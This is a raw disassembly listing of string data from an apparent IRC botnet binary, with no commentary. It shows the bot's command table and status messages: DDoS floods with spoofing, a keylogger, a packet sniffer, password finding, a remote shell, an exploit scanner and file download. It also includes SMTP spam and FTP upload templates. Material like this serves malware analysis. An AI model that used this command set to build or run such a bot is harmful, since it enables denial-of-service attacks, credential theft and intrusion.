sub_40EC43+3AF8o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 63h, 6Ch, 6Fh db 6Eh ; n db 65h, 73h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToSta_13 db ' Failed to start clone thread, error: <%d>.',0 unk_436088 db 2 ; DATA XREF: sub_40EC43+3A9Fo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 63h, 6Ch, 6Fh db 6Eh ; n db 65h, 73h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aCreatedOnSDInC db ' Created on %s:%d, in channel %s.',0 align 4 unk_4360C8 db 2 ; DATA XREF: sub_40EC43+39F5o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 2 dup(64h), 6Fh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_14 db ' Failed to start flood thread, error: <%d>.',0 align 10h unk_436110 db 2 ; DATA XREF: sub_40EC43+3993o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 2 dup(64h), 6Fh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFloodingSSForS db ' Flooding: (%s:%s) for %s seconds.',0 align 10h dword_436150 dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43+38ECo dd 2BBBB02h aFailedToSta_15 db ' Failed to start flood thread, error: <%d>.',0 align 4 dword_436198 dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43+3884o dd 2BBBB02h aFloodingSSFo_0 db ' Flooding: (%s:%s) for %s seconds.',0 align 8 unk_4361D8 db 2 ; DATA XREF: sub_40EC43+37FFo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_16 db ' Failed to start transfer thread, error: <%d>.',0 align 4 unk_436228 db 2 ; DATA XREF: sub_40EC43+37A6o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDownloadingUrl db ' Downloading URL: %s to: %s.',0 align 8 unk_436268 db 2 ; DATA XREF: sub_40EC43+36C2o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 65h, 64h db 69h ; i db 72h, 65h, 63h db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStartR db ' Failed to start redirection thread, error: <%d>.',0 align 10h unk_4362C0 db 2 ; DATA XREF: sub_40EC43+3669o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 65h, 64h db 69h ; i db 72h, 65h, 63h db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aTcpRedirectCre db ' TCP redirect created from: %s:%d to: %s:%d.',0 align 10h unk_436310 db 2 ; DATA XREF: sub_40EC43+35C9o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_17 db ' Failed to start scan thread, error: <%d>.',0 align 10h unk_436360 db 2 ; DATA XREF: sub_40EC43+3570o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aPortScanStarte db ' Port scan started: %s:%d with delay: %d(ms).',0 aSSS_0 db '[%s] <%s> %s',0 ; DATA XREF: sub_40EC43+34ECo align 4 aSSS_1 db '[%s] * %s %s',0 ; DATA XREF: sub_40EC43+33F2o align 4 dword_4363CC dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_40EC43+3364o ; sub_40EC43+43A0o unk_4363D8 db 2 ; DATA XREF: sub_40EC43+32F0o ; sub_40EC43+5119o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 2 dup(6Fh) db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_18 db ' Failed to start scan thread, error: <%d>.',0 align 10h unk_436420 db 2 ; DATA XREF: sub_40EC43+3297o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 2 dup(6Fh) db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSExploitationS db ' %s Exploitation started on %s:%d waiting %d seconds for %d minu' db 'tes using %d threads.',0 aSequential db 'Sequential',0 ; DATA XREF: sub_40EC43+326Co ; sub_40EC43+508Fo align 4 aRandom_0 db 'Random',0 ; DATA XREF: sub_40EC43+3265o ; sub_40EC43+5088o align 8 unk_4364A8 db 2 ; DATA XREF: sub_40EC43+3127o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 2 dup(6Fh) db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_19 db ' Failed to start scan, no IP specified.',0 align 10h unk_4364F0 db 2 ; DATA XREF: sub_40EC43+2FE1o ; sub_40EC43+4ED3o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 2 dup(6Fh) db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aAlreadyDScanni db ' Already %d scanning threads. Too many specified.',0 align 10h dword_436540 dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43+2F9Bo dd 2BBBB02h aFailedToSta_20 db ' Failed to start flood thread, error: <%d>.',0 align 4 dword_436588 dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43+2F42o dd 2BBBB02h aSendingDPacket db ' Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0 align 10h aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_40EC43+2E8Bo align 4 unk_4365F8 db 2 ; DATA XREF: sub_40EC43+2E61o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 69h, 6Eh db 67h ; g db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_21 db ' Failed to start flood thread, error: <%d>.',0 align 10h unk_436640 db 2 ; DATA XREF: sub_40EC43+2E08o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 69h, 6Eh db 67h ; g db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSendingDPingsT db ' Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0 align 4 dword_436698 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43:loc_41197Bo dd 2BBBB02h aInvalidFlood_0 db ' Invalid flood time must be greater than 0.',0 align 10h dword_4366E0 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43+2D1Co dd 2BBBB02h aFailedToSta_22 db ' Failed to start flood thread, error: <%d>.',0 align 4 dword_436728 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43+2CB8o dd 2BBBB02h aSSFloodingSSFo db ' %s %s flooding: (%s:%s) for %s seconds.',0 align 4 aNormal db 'Normal',0 ; DATA XREF: sub_40EC43+2CA8o align 4 aSpoofed db 'Spoofed',0 ; DATA XREF: sub_40EC43+2CA1o dword_43677C dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43+2C0Co dd 2BBBB02h aInvalidFloodTy db ' Invalid flood type specified.',0 dword_4367B4 dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43:loc_411766o dd 2BBBB02h aUploadingFileS db ' Uploading file: %s to: %s failed.',0 dword_4367F0 dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43+2B1Co dd 2BBBB02h aUploadingFil_0 db ' Uploading file: %s to: %s',0 aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_40EC43+2B05o aSS_4 db '-s:%s',0 ; DATA XREF: sub_40EC43+2AEEo align 4 aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_40EC43+2ACEo db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db 'put %s',0Dh,0Ah db 'bye',0Dh,0Ah,0 align 4 aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_40EC43+2A99o align 4 dword_436868 dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43+2A13o dd 2BBBB02h aFileNotFoundS_ db ' File not found: %s.',0 align 4 aFtp_upload db 'ftp.upload',0 ; DATA XREF: sub_40EC43+29F0o align 4 aUtil_hcon db 'util.hcon',0 ; DATA XREF: sub_40EC43+29CDo align 10h aUtil_httpcon db 'util.httpcon',0 ; DATA XREF: sub_40EC43+29B6o align 10h dword_4368C0 dd 2C353103h, 36203431h, 3206272h, 202E2E32h, 28353103h ; DATA XREF: sub_40EC43+2967o dd 69616D65h, 2E32036Ch, 6D353103h, 2029646Fh, 3BB3203h a15MessageSentT db '15 Message sent to %s.',0 aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_40EC43+28F3o db 'mail from: <%s>',0Ah db 'rcpt to: <%s>',0Ah db 'data',0Ah db 'subject: %s',0Ah db 'from: %s',0Ah db '%s',0Ah db '.',0Ah,0 a__0: ; DATA XREF: sub_40EC43+2857o unicode 0, <_>,0 aUtil_email db 'util.email',0 ; DATA XREF: sub_40EC43+2808o align 4 aDdos_tcpf db 'ddos.tcpf',0 ; DATA XREF: sub_40EC43+27F1o align 4 aDdos_tcpflood db 'ddos.tcpflood',0 ; DATA XREF: sub_40EC43+27DAo align 4 aP: ; DATA XREF: sub_40EC43+27C3o unicode 0, <p>,0 aDdos_pingf db 'ddos.pingf',0 ; DATA XREF: sub_40EC43+27ACo align 4 aDdos_pingflood db 'ddos.pingflood',0 ; DATA XREF: sub_40EC43+2795o align 4 aU_0: ; DATA XREF: sub_40EC43+277Eo unicode 0, <u>,0 aDdos_udpf db 'ddos.udpf',0 ; DATA XREF: sub_40EC43+2767o align 4 aDdos_udpflood db 'ddos.udpflood',0 ; DATA XREF: sub_40EC43+2750o align 4 aAsc db 'asc',0 ; DATA XREF: sub_40EC43+2739o aAdvscan db 'advscan',0 ; DATA XREF: sub_40EC43+2722o aClone_ac db 'clone.ac',0 ; DATA XREF: sub_40EC43+26F9o align 10h aClone_action db 'clone.action',0 ; DATA XREF: sub_40EC43+26E2o align 10h aClone_pm db 'clone.pm',0 ; DATA XREF: sub_40EC43+26CBo align 4 aClone_privmsg db 'clone.privmsg',0 ; DATA XREF: sub_40EC43+26B4o align 4 aRoot_ps db 'root.ps',0 ; DATA XREF: sub_40EC43+269Do aRoot_portscan db 'root.portscan',0 ; DATA XREF: sub_40EC43+2686o align 4 aDaemon_rd db 'daemon.rd',0 ; DATA XREF: sub_40EC43+266Fo align 10h aDaemon_redirec db 'daemon.redirect',0 ; DATA XREF: sub_40EC43+2658o aDownload_wg db 'download.wg',0 ; DATA XREF: sub_40EC43+2641o aDownload_wget db 'download.wget',0 ; DATA XREF: sub_40EC43+262Ao align 4 aDdos_synf db 'ddos.synf',0 ; DATA XREF: sub_40EC43+2613o align 4 aDdos_synflood db 'ddos.synflood',0 ; DATA XREF: sub_40EC43+25FCo align 4 aClone_start db 'clone.start',0 ; DATA XREF: sub_40EC43+25A0o aClone_make db 'clone.make',0 ; DATA XREF: sub_40EC43+2589o align 10h aDdos_ic db 'ddos.ic',0 ; DATA XREF: sub_40EC43+2560o aDdos_icmp db 'ddos.icmp',0 ; DATA XREF: sub_40EC43+2549o align 4 aCom_mv db 'com.mv',0 ; DATA XREF: sub_40EC43+2532o align 4 aCom_rename db 'com.rename',0 ; DATA XREF: sub_40EC43+251Bo align 4 aFf db 'ff',0 ; DATA XREF: sub_40EC43+2504o align 4 aFindfile db 'findfile',0 ; DATA XREF: sub_40EC43+24EDo align 4 aCom_e db 'com.e',0 ; DATA XREF: sub_40EC43+24D6o align 10h aCom_execute db 'com.execute',0 ; DATA XREF: sub_40EC43+24BFo aDownload_up db 'download.up',0 ; DATA XREF: sub_40EC43+24A8o aDownload_updat db 'download.update',0 ; DATA XREF: sub_40EC43+2491o aIrc_de db 'irc.de',0 ; DATA XREF: sub_40EC43+247Ao align 10h aIrc_delay db 'irc.delay',0 ; DATA XREF: sub_40EC43+2463o align 4 aIrc_rp db 'irc.rp',0 ; DATA XREF: sub_40EC43+244Co align 4 aIrc_repeat db 'irc.repeat',0 ; DATA XREF: sub_40EC43+2435o align 10h aClone_p db 'clone.p',0 ; DATA XREF: sub_40EC43+241Eo aClone_part db 'clone.part',0 ; DATA XREF: sub_40EC43+2407o align 4 aClone_j db 'clone.j',0 ; DATA XREF: sub_40EC43+23F0o aClone_join db 'clone.join',0 ; DATA XREF: sub_40EC43+23D9o align 4 aClone_ni db 'clone.ni',0 ; DATA XREF: sub_40EC43+23C2o align 4 aClone_nick db 'clone.nick',0 ; DATA XREF: sub_40EC43+23ABo align 10h aClone_m db 'clone.m',0 ; DATA XREF: sub_40EC43+2394o aClone_mode db 'clone.mode',0 ; DATA XREF: sub_40EC43+237Do align 4 aClone_ra db 'clone.ra',0 ; DATA XREF: sub_40EC43+2366o align 10h aClone_raw db 'clone.raw',0 ; DATA XREF: sub_40EC43+234Fo align 4 aIrc_m db 'irc.m',0 ; DATA XREF: sub_40EC43+2338o align 4 aIrc_mode db 'irc.mode',0 ; DATA XREF: sub_40EC43+2321o align 10h aIrc_cy db 'irc.cy',0 ; DATA XREF: sub_40EC43+230Ao align 4 aIrc_cycle db 'irc.cycle',0 ; DATA XREF: sub_40EC43+22F3o align 4 aIrc_ac db 'irc.ac',0 ; DATA XREF: sub_40EC43+22DCo align 4 aIrc_action db 'irc.action',0 ; DATA XREF: sub_40EC43+22C5o align 4 aIrc_pm db 'irc.pm',0 ; DATA XREF: sub_40EC43+22AEo align 10h aIrc_privmsg db 'irc.privmsg',0 ; DATA XREF: sub_40EC43+2297o aIrc_aa db 'irc.aa',0 ; DATA XREF: sub_40EC43+2280o align 4 aIrc_addalias db 'irc.addalias',0 ; DATA XREF: sub_40EC43+2269o align 4 aIrc_gh db 'irc.gh',0 ; DATA XREF: sub_40EC43+2240o align 4 aIrc_gethost db 'irc.gethost',0 ; DATA XREF: sub_40EC43+2229o aCom_cap db 'com.cap',0 ; DATA XREF: sub_40EC43+2212o aCom_capture db 'com.capture',0 ; DATA XREF: sub_40EC43+21FBo dword_436C0C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43:loc_410E23o dd 2BBBB02h aCommandUnknown db ' Command unknown.',0 align 4 dword_436C38 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43:loc_410E1Co dd 2BBBB02h aNoMessageSpeci db ' No message specified.',0 dword_436C68 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43:loc_410DD1o dd 2BBBB02h aUserListFailed db ' User list failed.',0 dword_436C94 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43+2187o dd 2BBBB02h aUserListComple db ' User list completed.',0 align 4 aUser db 'user',0 ; DATA XREF: sub_40EC43+2100o align 4 dword_436CCC dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43:loc_410D38o dd 2BBBB02h aShareListFaile db ' Share list failed.',0 align 4 dword_436CFC dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43+20EBo dd 2BBBB02h aShareListCompl db ' Share list completed.',0 aShare db 'share',0 ; DATA XREF: sub_40EC43+207Do align 4 aDelete db 'delete',0 ; DATA XREF: sub_40EC43+2062o align 4 aPause db 'pause',0 ; DATA XREF: sub_40EC43+202Co align 4 aStop db 'stop',0 ; DATA XREF: sub_40EC43+2014o align 4 dword_436D4C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43:loc_410C4Co dd 2BBBB02h aServiceListFai db ' Service list failed.',0 align 4 dword_436D7C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43+1FFFo dd 2BBBB02h aServiceListCom db ' Service list completed.',0 align 10h dword_436DB0 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43+1F75o dd 2BBBB02h aFailedToLoadAd db ' Failed to load advapi32.dll or netapi32.dll.',0 align 4 aCom_net db 'com.net',0 ; DATA XREF: sub_40EC43+1F51o unk_436E00 db 2 ; DATA XREF: sub_40EC43+1F20o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 6Bh, 65h, 79h db 6Ch ; l db 6Fh, 67h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToSta_23 db ' Failed to start logging thread, error: <%d>.',0 align 4 unk_436E4C db 2 ; DATA XREF: sub_40EC43+1EC7o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 6Bh, 65h, 79h db 6Ch ; l db 6Fh, 67h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aKeyLoggerActiv db ' Key logger active.',0 unk_436E7C db 2 ; DATA XREF: sub_40EC43+1E46o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 6Bh, 65h, 79h db 6Ch ; l db 6Fh, 67h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aAlreadyRunni_1 db ' Already running.',0 align 4 unk_436EAC db 2 ; DATA XREF: sub_40EC43:loc_410A73o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 6Bh, 65h, 79h db 6Ch ; l db 6Fh, 67h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aNoKeyLoggerThr db ' No key logger thread found.',0 align 4 unk_436EE8 db 2 ; DATA XREF: sub_40EC43+1E26o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 6Bh, 65h, 79h db 6Ch ; l db 6Fh, 67h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aKeyLoggerStopp db ' Key logger stopped. (%d thread(s) stopped.)',0 align 4 aCom_keylog db 'com.keylog',0 ; DATA XREF: sub_40EC43+1DCCo align 10h unk_436F40 db 2 ; DATA XREF: sub_40EC43:loc_410A02o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aNoCarnivoreThr db 'No Carnivore thread found.',0 align 4 unk_436F78 db 2 ; DATA XREF: sub_40EC43+1DB5o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aCarnivoreStopp db 'Carnivore stopped. (%d thread(s) stopped.)',0 align 10h aOff db 'off',0 ; DATA XREF: sub_40EC43+1D92o ; sub_40EC43+1E03o align 8 unk_436FC8 db 2 ; DATA XREF: sub_40EC43+1D72o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToSta_24 db 'Failed to start sniffer thread, error: <%d>.',0 align 4 unk_437014 db 2 ; DATA XREF: sub_40EC43+1D19o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aCarnivorePacke db 'Carnivore packet sniffer active.',0 align 4 unk_437054 db 2 ; DATA XREF: sub_40EC43+1CB5o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aAlreadyRunni_2 db 'Already running.',0 align 4 aOn db 'on',0 ; DATA XREF: sub_40EC43+1C95o ; sub_40EC43+1DE1o align 4 aSniff db 'sniff',0 ; DATA XREF: sub_40EC43+1C80o align 10h aCom_rf db 'com.rf',0 ; DATA XREF: sub_40EC43+1C69o align 4 aCom_readfile db 'com.readfile',0 ; DATA XREF: sub_40EC43+1C52o align 4 aCom_cm db 'com.cm',0 ; DATA XREF: sub_40EC43+1C3Bo align 10h aCom_cmd db 'com.cmd',0 ; DATA XREF: sub_40EC43+1C24o aMirc_cmd db 'mirc.cmd',0 ; DATA XREF: sub_40EC43+1BF6o ; sub_40EC43+1C0Do align 4 aIrc_v db 'irc.v',0 ; DATA XREF: sub_40EC43+1BDFo align 4 aIrc_visit db 'irc.visit',0 ; DATA XREF: sub_40EC43+1BC8o align 4 aCom_fl db 'com.fl',0 ; DATA XREF: sub_40EC43+1BB1o align 10h aCom_filelist db 'com.filelist',0 ; DATA XREF: sub_40EC43+1B9Ao align 10h aDcc_gt db 'dcc.gt',0 ; DATA XREF: sub_40EC43+1B83o align 4 aDcc_get db 'dcc.get',0 ; DATA XREF: sub_40EC43+1B6Co aCom_del db 'com.del',0 ; DATA XREF: sub_40EC43+1B55o aCom_delete db 'com.delete',0 ; DATA XREF: sub_40EC43+1B3Eo align 4 aCom_pkid db 'com.pkid',0 ; DATA XREF: sub_40EC43+1B27o align 10h aCom_prockillid db 'com.prockillid',0 ; DATA XREF: sub_40EC43+1B10o align 10h aCom_kpn db 'com.kpn',0 ; DATA XREF: sub_40EC43+1AF9o aCom_killprocna db 'com.killprocname',0 ; DATA XREF: sub_40EC43+1AE2o align 4 aIrc_dn db 'irc.dn',0 ; DATA XREF: sub_40EC43+1ACBo align 4 aIrc_dns db 'irc.dns',0 ; DATA XREF: sub_40EC43+1AB4o aIrc_se db 'irc.se',0 ; DATA XREF: sub_40EC43+1A9Do align 4 aIrc_setserve db 'irc.setserve',0 ; DATA XREF: sub_40EC43+1A86o align 4 aCom_o db 'com.o',0 ; DATA XREF: sub_40EC43+1A6Fo align 4 aCom_open db 'com.open',0 ; DATA XREF: sub_40EC43+1A58o align 4 aIrc_pr db 'irc.pr',0 ; DATA XREF: sub_40EC43+1A41o align 10h aIrc_prefix db 'irc.prefix',0 ; DATA XREF: sub_40EC43+1A2Ao align 4 aClone_rn db 'clone.rn',0 ; DATA XREF: sub_40EC43+1A13o align 4 aClone_rndnick db 'clone.rndnick',0 ; DATA XREF: sub_40EC43+19FCo align 4 aClone_q db 'clone.q',0 ; DATA XREF: sub_40EC43+19E5o aClone_quit db 'clone.quit',0 ; DATA XREF: sub_40EC43+19CEo align 4 aThreads_k db 'threads.k',0 ; DATA XREF: sub_40EC43+19B7o align 4 aThreads_kill db 'threads.kill',0 ; DATA XREF: sub_40EC43+19A0o align 4 aIrc_ra db 'irc.ra',0 ; DATA XREF: sub_40EC43+1989o align 10h aIrc_raw db 'irc.raw',0 ; DATA XREF: sub_40EC43+1972o aIrc_pt db 'irc.pt',0 ; DATA XREF: sub_40EC43+195Bo align 10h aIrc_part db 'irc.part',0 ; DATA XREF: sub_40EC43+1944o align 4 aIrc_j db 'irc.j',0 ; DATA XREF: sub_40EC43+192Do align 4 aIrc_join db 'irc.join',0 ; DATA XREF: sub_40EC43+1916o align 10h aIrc_n db 'irc.n',0 ; DATA XREF: sub_40EC43+18FFo align 4 aIrc_nick db 'irc.nick',0 ; DATA XREF: sub_40EC43+18E8o align 4 aSa db 'sa',0 ; DATA XREF: sub_40EC43+18C2o align 4 aScanall db 'scanall',0 ; DATA XREF: sub_40EC43+18ADo aCom_fp db 'com.fp',0 ; DATA XREF: sub_40EC43+1898o align 4 aCom_findpass db 'com.findpass',0 ; DATA XREF: sub_40EC43+1883o align 4 aDaemon_tf_on db 'daemon.tf.on',0 ; DATA XREF: sub_40EC43+186Eo align 4 aDaemon_tftp_on db 'daemon.tftp.on',0 ; DATA XREF: sub_40EC43+1859o align 4 aDaemon_web_on db 'daemon.web.on',0 ; DATA XREF: sub_40EC43+1844o align 4 aDaemon_httpd_o db 'daemon.httpd.on',0 ; DATA XREF: sub_40EC43+182Fo aDaemon_rl_on db 'daemon.rl.on',0 ; DATA XREF: sub_40EC43+181Ao align 4 aDaemon_rlogi_0 db 'daemon.rlogin.on',0 ; DATA XREF: sub_40EC43+1805o align 4 aRoot_cip db 'root.cip',0 ; DATA XREF: sub_40EC43+17F0o align 4 aRoot_currentip db 'root.currentip',0 ; DATA XREF: sub_40EC43+17DBo align 4 aUtil_fdns db 'util.fdns',0 ; DATA XREF: sub_40EC43+17C6o align 4 aUtil_flushdns db 'util.flushdns',0 ; DATA XREF: sub_40EC43+17B1o align 4 aUtil_farp db 'util.farp',0 ; DATA XREF: sub_40EC43+179Co align 10h aUtil_flusharp db 'util.flusharp',0 ; DATA XREF: sub_40EC43+1787o align 10h aCom_gc db 'com.gc',0 ; DATA XREF: sub_40EC43+1772o align 4 aCom_getclip db 'com.getclip',0 ; DATA XREF: sub_40EC43+175Do dword_437324 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43+1752o dd 2BBBB02h aLoginListCompl db ' Login list complete.',0 align 4 aD_S db '%d. %s',0 ; DATA XREF: sub_40EC43+171Eo ; sub_416B37+46o align 4 aEmpty db '<Empty>',0 ; DATA XREF: sub_40EC43+1711o aLoginList db '-[Login List]-',0 ; DATA XREF: sub_40EC43+16EFo align 4 aIrc_who db 'irc.who',0 ; DATA XREF: sub_40EC43+16D6o aCmd db '[CMD]',0 ; DATA XREF: sub_40EC43+16CBo align 4 aRemoteShell db 'Remote shell',0 ; DATA XREF: sub_40EC43+16C6o align 4 aCom_ocmd_off db 'com.ocmd.off',0 ; DATA XREF: sub_40EC43+16ADo align 4 aCom_ocmd db 'com.ocmd',0 ; DATA XREF: sub_40EC43+1698o align 10h aCom_opencmd db 'com.opencmd',0 ; DATA XREF: sub_40EC43+1683o aCom_dll db 'com.dll',0 ; DATA XREF: sub_40EC43+166Eo aCom_testdlls db 'com.testdlls',0 ; DATA XREF: sub_40EC43+1659o align 4 aCom_drv db 'com.drv',0 ; DATA XREF: sub_40EC43+1644o aCom_driveinfo db 'com.driveinfo',0 ; DATA XREF: sub_40EC43+162Fo align 4 aCom_up db 'com.up',0 ; DATA XREF: sub_40EC43+161Ao align 4 aCom_uptime db 'com.uptime',0 ; DATA XREF: sub_40EC43+1605o align 10h aCom_key db 'com.key',0 ; DATA XREF: sub_40EC43+15F0o aCom_harvest db 